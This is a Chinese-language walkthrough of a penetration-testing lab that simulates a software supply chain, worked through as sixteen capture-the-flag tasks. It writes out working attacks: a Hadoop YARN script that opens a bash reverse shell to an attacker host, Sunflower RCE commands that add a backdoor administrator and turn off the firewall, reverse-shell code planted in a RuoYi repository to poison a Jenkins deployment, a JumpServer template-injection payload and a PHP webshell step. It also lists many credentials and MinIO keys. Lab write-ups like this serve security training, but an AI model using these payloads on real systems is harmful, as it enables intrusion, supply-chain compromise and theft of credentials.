该场景模拟软件供应链业务逻辑,对作为公司供应链全流程的相关业务进行仿真,模拟供应链相关的生产网段、开发运维网段、运营商网段、测试网段,攻击者需要利用信息收集、漏洞扫描、WEB 漏洞利用、数据库漏洞利用、权限提升、代理转发等手段进行渗透

外网端口扫描

# 任务 1

拿下外网禅道服务器权限,并提交根目录下的 flag

登录禅道系统,F12 查看到版本是 18.0.beta1 ,该版本存在 RCE

尝试工具利用,成功执行命令

查看根目录 flag

# 任务 2

登录禅道后台,提交禅道后台的 flag

通过 RCE 上线到 vshell

查看配置中的数据库密码

搭隧道连接数据库,查看 zt_user

管理员密码无法 md5 反查,直接修改为一个弱口令 123456

登入系统查看到 flag

# 任务 3

拿下内网 Hadoop 权限,并提交 flag

扫内网 10.10.200.0/24 网段

10.10.200.11:8088/cluster 路径,访问查看直接打开了 Hadoop Web 管理界面

执行脚本创建恶意应用执行 RCE

import requests
#python3 
target = 'http://10.10.200.11:8088/' # Hadoop 地址
lhost = '47.*.*.*' # nc 监听地址
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': f'/bin/bash -i >& /dev/tcp/{lhost}/43210 0>&1',
        },
    },
    'application-type': 'YARN',
}
print(data)
requests.post(url,json=data)

反弹 shell

# 任务 4

到邮件服务器中看看呢?

在禅道系统后台 - 邮件页面可以看到已配置邮件服务器,但是前端不显示密码

在数据库 zt_config 表中可以查看

登录 webmail,flag 在已发送邮件中

# 任务 5

FTP 服务中好像有 flag?

邮箱中保存了密码 ftp/wsfxsdfrsaqwczdsa

扫内网开放的 21 端口

利用获取到的密码登录

# 任务 6

OpenVPN 好像能通到 172.16.10.0/24 段?

压缩包给了很多个 ovpn 配置, 1194 是 ovpn 默认端口,修改连接 IP 为公网入口 IP

连接 vpn 后根据提示扫描 172.16.10.0/24 网段(需要 -np -p 1-65535 扫描全量端口,花时间很长)
存在一个 windows 主机 172.16.10.88 ,开放了 49157 端口识别为向日葵

利用工具尝试 RCE,成功执行

执行命令,添加后门用户,开启远程桌面,关闭防火墙

xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net user hack pass@123 /add"
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net localgroup administrators hack /add"
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "netsh advfirewall set allprofiles state off"

Administrator 用户的桌面下找到 flag

Docker registry:
pineapple/123qwe2wsxcde3

Jenkins(未使用):
yujian/Yujian123!@#

JumpServer:
admin/78dfghiugrhsdiuhiuasrh

# 任务 7

提交 Gitea 后台 flag

在 Administrator 用户目录下看到有 git bash history,编辑了 .git/config

桌面 pineapple 目录下有 .git/config ,查看发现有 10.10.10.10:3000 的路径配置

[core]
        repositoryformatversion = 0
        filemode = false
        bare = false
        logallrefupdates = true
        symlinks = false
        ignorecase = true
[remote "origin"]
        url = http://yujian:xgMZCiP6gfusWj3@10.10.10.10:3000/Pineapple/Pineapple.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
[user]
        name = yujian
        email = yujian@mail.yym1ng.com

但是在 windows 下是无法直接访问的

实际上连接 vpn 后的网络就能直接访问

根据配置文件的密码 yujian/xgMZCiP6gfusWj3 登录

# 任务 8

尝试对生产环境投毒!拿下投毒后容器的权限,并获取容器 uname -r 的执行结果,将执行结果 md5 加密后包裹 flag{} 进行提交

看到 gitea 中有几个项目,先把 windows 中的 Pineapple 目录拖出来

回退到 master 分支,与 gitea 中保持一致

git reset --hard origin/master
git pull

可以看到项目是若依框架,尝试在其中添加恶意代码,在容器部署时执行反弹 shell
入口文件为 ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication.java

由于不清楚容器的出网情况,这里可以借助内网 windows 机器接收反弹 shell

try {
    String[] cmd = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/172.16.10.88/29999 0>&1"};
    Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
}

开启 nc 监听

push 更改

push 后会触发 Jenkins 构建并部署,等待一段时间(10 分钟),成功反弹 shell

# 任务 9

拿下商城管理系统并提交 flag

回到 10.10.200.0/24 的扫描结果

商城管理系统地址 10.10.200.45 (实际上开放了公网地址端口 20082 ,但是直接扫 1-65535 扫不出来)

看到响应头中有 PHP 版本,考虑 Thinkphp 框架

利用工具扫描,存在漏洞

# 任务 10

找找哪里存在有意思的镜像?提交镜像中的 flag

商城系统实际上有两个容器,另一个是公网地址端口 20082 ,但是直接扫 1-65535 扫不出来

公网地址的这个环境通向网段 10.10.100.10/24 ,扫描该网段

10.10.100.1:80 open
10.10.100.55:22 open
10.10.100.35:80 open
10.10.100.60:80 open
10.10.100.55:80 open
10.10.100.45:80 open
10.10.100.1:22 open
10.10.100.10:22 open
10.10.100.1:443 open
10.10.100.3:3306 open
10.10.100.45:3306 open
10.10.100.2:6379 open
10.10.100.1:8080 open
10.10.100.66:8080 open
10.10.100.60:8080 open
10.10.100.1:9000 open
10.10.100.99:9000 open
10.10.100.10:3000 open
10.10.100.60:5555 open
10.10.100.60:8081 open
10.10.100.60:8082 open
10.10.100.60:8083 open
10.10.100.1:9001 open
10.10.100.99:9001 open
10.10.100.60:9091 open
10.10.100.60:9092 open
10.10.100.53:10000 open
[*] alive ports len is: 27
start vulscan
[*] WebTitle http://10.10.100.1        code:302 len:0      title:None 跳转url: http://10.10.100.1/webmail/
[*] WebTitle http://10.10.100.99:9000  code:307 len:60     title:None 跳转url: http://10.10.100.99:9001
[*] WebTitle http://10.10.100.45       code:200 len:11469  title:商城系统登录
[*] WebTitle http://10.10.100.66:8080  code:403 len:589    title:None
[*] WebTitle http://10.10.100.60:8083  code:404 len:18     title:None
[*] WebTitle https://10.10.100.1       code:302 len:0      title:None 跳转url: https://10.10.100.1/webmail/
[*] WebTitle http://10.10.100.99:9001  code:200 len:1310   title:MinIO Console
[*] WebTitle http://10.10.100.1:9001   code:200 len:1310   title:MinIO Console
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665   title:poste.io :: 欢迎使用 poste.io
[*] WebTitle http://10.10.100.35       code:200 len:69     title:None
[*] WebTitle http://10.10.100.99:9001  code:200 len:1310   title:MinIO Console
[*] WebTitle http://10.10.100.60       code:200 len:17065  title:""
[*] WebTitle http://10.10.100.1:9000   code:307 len:59     title:None 跳转url: http://10.10.100.1:9001
[*] WebTitle http://10.10.100.10:3000  code:200 len:13907  title:Pineapple_Gitea
[*] WebTitle http://10.10.100.1:8080   code:200 len:124    title:None
[*] WebTitle http://10.10.100.60:8081  code:404 len:18     title:None
[+] InfoScan http://10.10.100.1:8080   [禅道] 
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665   title:poste.io :: 欢迎使用 poste.io
[*] WebTitle http://10.10.100.1:9001   code:200 len:1310   title:MinIO Console
[*] WebTitle http://10.10.100.60:8082  code:404 len:431    title:HTTP Status 404 – Not Found
[+] InfoScan http://10.10.100.10:3000  [Gitea简易Git服务] 
[*] WebTitle https://10.10.100.53:10000 code:200 len:4806   title:Login to Webmin
[*] WebTitle http://10.10.100.60:5555  code:404 len:69     title:404: Not Found
[*] WebTitle http://10.10.100.60:8080  code:302 len:0      title:None 跳转url: http://10.10.100.60:8080/core/auth/login/?next=/
[*] WebTitle http://10.10.100.60:8080/core/auth/login/?next=/ code:200 len:13302  title:JumpServer 开源堡垒机

根据题目提示以及前面拿到的密码,环境中可能存在 docker registry,默认端口 5000,但是 fscan 不指定端口的情况下不会扫描,所以尝试 fscan -h 10.10.100.10/24 -p 5000 指定端口扫描

扫描 5000 端口路径,存在 /v2/_catalog

尝试访问,接口存在认证

利用前面获取的密码 pineapple/123qwe2wsxcde3 访问

curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/_catalog

存在名称为 flag 的镜像,查看镜像信息

curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/tags/list
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/manifests/latest

先查看镜像 tag,只有一个 latest

然后查看 latest 的信息,存在写入 flag 的操作

# 任务 11

提交 Minio 中的 flag

docker registry 中还有一个 spring-boot-minio 镜像,查看镜像信息

里面有一个 jar 包,需要运行容器后提取出来分析

docker login 10.10.100.43:5000  # 输入用户名密码
docker save 10.10.100.43:5000/spring-boot-minio:latest -o spring-boot-minio.tar.gz
docker load -i spring-boot-minio.tar.gz
# 或者直接 pull
docker pull 10.10.100.43:5000/spring-boot-minio:latest

由于 docker 默认只支持 HTTPS 的远程仓库,如果出现 HTTP 错误,需要编辑配置文件

/etc/docker/daemon.json

然后重启 systemctl restart docker.service

进入容器,jar 包在根目录下

docker cp ce2:/sprint-boot-minio-0.6.0.jar ./ 复制

分析 jar 包,拿到 MinIO 的 ak/sk 和网页端用户名密码

#MinIO 对象存储,文件服务器  
minio:  
  endpoint: http://10.10.10.99:9000/ # 外网 API,文件上传地址(只支持 IP,不支持域名)  
  access-key: Vzggdhxq3K2KXed3vQ6S  
  secret-key: zf5XkTNlx2GJwcCywwoAZRx97pGgOfDCozw917J3  
  #minio-user: admin  
  #minio-passwd: gygsud7gbskdbbxd3rtqak  
  file-obj-domain: http://10.3.4.78:9000/ #外网访问文件对象的域,例如:https://res.hackyle.com/  
  endpoint-in: http://10.3.4.78:9000/ # 内网 API  
  bucket-name: images #本个项目所用的桶名

登录 MinIO,查看 flag

# 任务 12

JumpServer?好像存在历史漏洞

根据前面拿到的用户名密码 admin/78dfghiugrhsdiuhiuasrh 登录

版本为 3.10.6,存在 RCE 漏洞
JumpServer 漏洞复现 (CVE-2024-29201&CVE-2024-29202) | wh0am1i's 个人技术记录

查看资产列表,其中已有一个资产

添加一个 user 用户

将某个资产授权给该用户(创建后自动授权

user 身份登录,进入作业中心 - 模版管理 - Playbook,添加一个

然后进入工作空间编辑

- name: |
       {% for x in ().__class__.__base__.__subclasses__() %}
         {% if "warning" in x.__name__ %}
           {{
             x()._module.__builtins__["__import__"]("os").system("echo base64编码反弹shell命令|base64 -d|bash -i")
           }}
         {%endif%}
       {%endfor%}

然后进入作业中心 - 作业管理,创建 Playbook 作业

保存后,执行该作业

接收到反弹 shell

# 任务 13

拿下 Jenkins 的 Agent 主机~

Jenkins agent 已经被默认添加进堡垒机的资源,实际上进到堡垒机后就能直接访问 SSH

另外这里还泄露了 Jenkins 的 Web 账户密码 Jenkins/6TGBsSfdfFWDNN234g6F5

# 任务 14

工资查询系统里好像有好看的?

工资系统是外网 20081 端口,弱口令 admin/123456 登录

在用户设置页面中有 flag

# 任务 15

拿下后台工资查询系统,尽情修改工资吧!

在工资系统的后台管理界面,存在可以编辑部分页面 HTML 的功能

尝试写入一句话木马

提交后,浏览器记录请求提交到 /wzszpost 接口,并且提示设置成功

但是现在并不清楚编辑的内容会反应在哪个页面
回到 gitea,除了 flag 项目以外还有两个代码审计项目,根据字符串内容得知 Code_Audit_it2 是工资系统对应的项目

把代码 clone 下来,搜索 wzszpost

git clone http://10.10.10.10:3000/Pineapple/Code_Audit_it2.git
cd Code_Audit_it2
git reset --hard origin/master
git pull

查看代码逻辑,该接口会把请求内容写入 config/wzsz.php

尝试访问页面,木马注入成功

# 任务 16

再拿下 Jenkins 主机的权限,结束撒花!

Jenkins 的 Web 页面地址为 10.10.100.66:8080
根据 agent 里泄露的账户 Jenkins/6TGBsSfdfFWDNN234g6F5 登录

账户是管理员权限,访问 /script 路径,执行脚本